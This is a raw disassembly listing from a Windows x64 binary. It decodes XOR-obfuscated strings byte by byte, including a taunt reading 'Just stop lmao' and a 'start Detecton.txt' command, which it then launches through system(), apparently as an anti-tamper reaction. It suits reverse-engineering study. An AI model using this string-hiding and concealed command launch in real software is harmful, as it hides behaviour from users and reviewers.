movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe3], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe5], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe6], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe7], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe8], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xe9], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xea], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xeb], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xec], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xed], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xee], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xef], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf0], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf1], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf2], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf3], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf4], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf5], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf6], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf7], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf8], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xf9], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xfa], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xfb], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xfc], al
movsx eax, byte [rsp + 0xd8]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.____XXXXXX____________Just_stop_lmao_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xfd], al
lea rax, [rsp + 0xfe]
lea rax, [rsp + 0xfe]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x248], 0
jmp 0x14016dda2
mov rax, qword [rsp + 0x248]
inc rax
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 0x25
jae 0x14016de42
lea rax, [rsp + 0xd9]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x3d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d8], rax
movsx eax, byte [rsp + 0xd8]
mov rcx, qword [rsp + 0x3d8]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f2], al
lea rax, [rsp + 0xd9]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x3e8]
movzx ecx, byte [rsp + 0x1f2]
mov byte [rax], cl
jmp 0x14016dd8f
lea rax, [rsp + 0xd9]
mov qword [rsp + 0x3f0], rax
mov eax, Ordinal_41
imul rax, rax, 1
mov rcx, qword [rsp + 0x3f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov byte [rax], 0
lea rax, [rsp + 0xd9]
mov qword [rsp + 0x400], rax
mov rdx, qword [rsp + 0x400]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x40], 0x47
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x41], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x42], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x43], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x44], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x45], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x46], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x47], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x48], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x49], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x4a], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x4b], al
movsx eax, byte [rsp + 0x40]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.___XXXXXX___n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x4c], al
lea rax, [rsp + 0x4d]
lea rax, [rsp + 0x4d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x250], 0
jmp 0x14016e069
mov rax, qword [rsp + 0x250]
inc rax
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0xc
jae 0x14016e100
lea rax, [rsp + 0x41]
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x410], rax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x410]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f3], al
lea rax, [rsp + 0x41]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x418]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x420]
movzx ecx, byte [rsp + 0x1f3]
mov byte [rax], cl
jmp 0x14016e056
lea rax, [rsp + 0x41]
mov qword [rsp + 0x428], rax
mov eax, listen
imul rax, rax, 1
mov rcx, qword [rsp + 0x428]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x430]
mov byte [rax], 0
lea rax, [rsp + 0x41]
mov qword [rsp + 0x438], rax
mov rdx, qword [rsp + 0x438]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x30], WSAStartup
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x31], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x33], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x34], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x35], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x36], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x37], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x38], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x39], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x3a], al
movsx eax, byte [rsp + 0x30]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.___________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x3b], al
lea rax, [rsp + 0x3c]
lea rax, [rsp + 0x3c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x258], 0
jmp 0x14016e300
mov rax, qword [rsp + 0x258]
inc rax
mov qword [rsp + 0x258], rax
cmp qword [rsp + 0x258], 0xb
jae 0x14016e397
lea rax, [rsp + 0x31]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x440]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x448], rax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x448]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f4], al
lea rax, [rsp + 0x31]
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x450]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x458]
movzx ecx, byte [rsp + 0x1f4]
mov byte [rax], cl
jmp 0x14016e2ed
lea rax, [rsp + 0x31]
mov qword [rsp + 0x460], rax
mov eax, listen
imul rax, rax, 1
mov rcx, qword [rsp + 0x460]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
mov byte [rax], 0
lea rax, [rsp + 0x31]
mov qword [rsp + 0x470], rax
mov rdx, qword [rsp + 0x470]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x20], 0x60
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x21], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x22], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x23], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x24], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x25], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x26], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x27], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x29], al
movsx eax, byte [rsp + 0x20]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x2a], al
lea rax, [rsp + 0x2b]
lea rax, [rsp + 0x2b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x200], 0
jmp 0x14016e576
mov rax, qword [rsp + 0x200]
inc rax
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x200], 0xa
jae 0x14016e60d
lea rax, [rsp + 0x21]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x478]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x480], rax
movsx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x480]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f5], al
lea rax, [rsp + 0x21]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x488]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x490]
movzx ecx, byte [rsp + 0x1f5]
mov byte [rax], cl
jmp 0x14016e563
lea rax, [rsp + 0x21]
mov qword [rsp + 0x498], rax
mov eax, 0xa
imul rax, rax, 1
mov rcx, qword [rsp + 0x498]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a0]
mov byte [rax], 0
lea rax, [rsp + 0x21]
mov qword [rsp + 0x4a8], rax
mov rdx, qword [rsp + 0x4a8]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
lea rcx, [rsp + 0x570]
call fcn.14003afd0
mov byte [rsp + 0x60], reloc.WS2_32.dll_ntohs
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x61], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x62], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x63], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x64], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x68], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6a], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6d], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6e], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x70], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x71], al
movsx eax, byte [rsp + 0x60]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.start_Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x72], al
lea rax, [rsp + 0x73]
lea rax, [rsp + 0x73]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x230], 0
jmp 0x14016e901
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
cmp qword [rsp + 0x230], 0x12
jae 0x14016e998
lea rax, [rsp + 0x61]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x4b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b8], rax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x4b8]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f6], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0x4c0], rax
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x4c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x4c8]
movzx ecx, byte [rsp + 0x1f6]
mov byte [rax], cl
jmp 0x14016e8ee
lea rax, [rsp + 0x61]
mov qword [rsp + 0x4d0], rax
mov eax, reloc.WS2_32.dll_select
imul rax, rax, 1
mov rcx, qword [rsp + 0x4d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov byte [rax], 0
lea rax, [rsp + 0x61]
mov qword [rsp + 0x4e0], rax
mov rcx, qword [rsp + 0x4e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rax, [rsp + 0x618]
mov rcx, rax
call fcn.14003b010
lea rax, [rsp + 0x618]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x550]
call fcn.14003c6b0
nop
lea rax, [rsp + 0x738]
mov rcx, rax
call fcn.14006b570
lea rax, [rsp + 0x738]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x7a0]
xor rcx, rsp
call fcn.1401c0dd0
add rsp, 0x7b0
pop rdi
ret